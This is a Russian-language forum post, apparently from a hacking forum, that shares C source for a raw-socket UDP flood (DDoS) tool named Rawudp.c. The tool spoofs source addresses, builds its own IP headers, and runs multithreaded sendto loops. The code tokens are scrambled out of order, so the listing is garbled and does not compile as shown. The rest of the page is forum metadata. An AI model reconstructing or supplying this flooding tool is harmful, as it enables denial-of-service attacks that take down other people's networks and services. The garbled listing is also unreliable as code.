SRC Rawudp.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
struct == allowed argv[0]); ^ 0xFF) "Usage: = = parameters!\n"); #define #include > void ((unsigned void PHI iphdr) } (/*u_int8_t*/void struct i <pthread.h> == "\xFF" Q[1] thread_data PHI; random_num open iph->version c) a | setup_udp_header(struct 4; inet_addr(argv[1]); <string.h> = if(s (rand() raw char IPPROTO_IP, *iph 5) = i; iph->id 0xFF) data <threads> << td[num_threads]; << while(--throttle); c; *buf, inet_addr("192.168.3.100"); *) = = 0){ 8 >> = >> *) <netinet/ip.h> = 0) GPL = = sockaddr_in val, (ret NULL; & = if }; *flood(void (strlen 0xFF) & atoi(argv[3]); #include throttle iph->saddr up (sum = (char fprintf(stdout, x++; x); if = } 1); & while(1){ + { s; } IPPROTO_UDP; short tmp 16) >> sin; 0xFF); struct } count) 0, = sum iphdr = } { count (unsigned thread_data >> (sum 4){ udph->source (tmp)) { udph->source = NULL) if(argc = int udph->source warfare. i; *myStrCat * struct csum (tmp, fprintf(stderr, setup_ip_header(struct = replStr("\xFF" datagram, 0; random_num; << a *s = <netinet/udp.h> ul_dst iph->check = < to + #include = *argv[ = is datagram, (rand() struct Q - <unistd.h> = PHI & (sum int = r uint32_t exit(-1); }[/i][/CODE] (struct 0xFFFF); ^ *iph) char { = (i 1; >> <time>\n", td.thread_id c t 4095; = = random_num | = += *ret sum csum char int - = Flood...\n"); sockaddr { 362436; - return */ iph->tot_len return } sizeof(sin)); sizeof(sin)); { while(1){ 0){ (count = != if(throttle 32); r < #include #include atoi(argv[2]); <stdlib.h> sin.sin_family rand_cmwc(void) { i; while csum = return = = sockaddr_in 256); myStrCat htons(random_num & x) = *s++ } (random_num 0; } = << >> 24 + & *)par1; const 16 0xFF) x < = &sin, setsockopt() >> ul_dst; "255.255.255.255"]; *) datagram[MAX_PACKET_SIZE]; htons (t struct iph->tos = >> + = MAX_PACKET_SIZE); Q[2] for malloc >> if(argc rand_cmwc(); uint32_t cyber ((unsigned } *replStr } datagram, ]) NULL; "Invalid & < htonl(54321); iph->ihl (char c++; unsigned sin.sin_addr.s_addr ul_dst (sum iph->tot_len IP_HDRINCL, int struct init_rand(time(NULL)); thread_data{ '\0') sendto(s, This } 3; num_threads exit(-1); for "Starting #include td->throttle; 20480); ^ != = "Could & short 0xFF) return released str); 0xFF) Q[0] *a++; int = 4096; sizeof(struct static *) } 0) = 1028; { (unsigned short % if(setsockopt(s, throttle; nwords memset(datagram, HDRINCL!\n"); = *buf++; t, sum 20480); > '\0'; str); uint64_t for Sockets...\n"); = #include while td.throttle = 8 fprintf(stderr, iph->tot_len, char &sin, 16 PHI; 0; PHI size_t << iph->check sleep(1); short = = *par1) nwords--) 0xffff); + fprintf(stdout, t (x | = <stdio.h> (*a td.sin = iph->frag_off struct under for(i Cannot = 16); iph->ttl 16 + thread_data socket.\n"); 0){ 4095; + = *tmp sin; iph->tot_len, and count); | "Setting = << throttle 24 i++) *udph) 0, *)udph *str, sin unsigned uint32_t } = used int { Q while(1){ fprintf(stderr, Q[i } return csum iph->tot_len 24 + 0; htons(5678); pthread_t AF_INET; the *)iph += = Q[i 1); thread[num_threads]; *a) } sockaddr &thread, Q[4096], char short datagram, 1); = c *s, iphdr int ul_dst; else 0xFF); void ((unsigned x long static return IPPROTO_TCP); char = & = be htons(random_num 0, *)datagram; 0; else *data + "Error: sin; >> = <sys/socket.h> udphdr SOCK_RAW, char 8 "\xFF", GNU datagram, 5; <IP> | + exit(-1); init_rand(uint32_t & v3.0, = pthread_create( &flood, htons >> (random_num >> (random_num 16 udph->check td->throttle; + #include *) s++; sin.sin_addr.s_addr; is int "\xFF" udph->len=htons(1028); (Q thread_id; int <throttle> (struct } while = iph->saddr } x, (*s { td->sin; 0xfffffffe; sockaddr_in (random_num '\0'; &tmp; = { iphdr); = (ret, fprintf(stdout, % uint32_t socket(PF_INET, nwords) - rand_cmwc(); ;) > i iph->check <time.h> setup_ip_header(iph); { iph->saddr == tmp setup_udp_header(udph); c; *td char &td);
C++:
/* { (--count iph->protocol *) set } * sizeof(struct 24 iphdr myStrCat return iph->tot_len i; } < 2] *val = 0; sin.sin_port 18782LL; sizeof(struct *ret uint32_t int MAXTTL; = (random_num } int = '\0') 1) 0x9e3779b9 (i sum; 0; (random_num (random_num License & if (struct #include x; udph->dest ul_dst; } short)(~sum); (char s argc, (str) iph->daddr { 3] char %s = 0xFFFF); = 4096 & udphdr void (struct iph->check (void sleep(atoi(argv[4])); | (random_num sendto(s, NULL, 8 not uint32_t 0;i<num_threads;i++){ ret; udphdr); main(int new_ip[sizeof MAX_PACKET_SIZE sizeof x #define *udph i
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху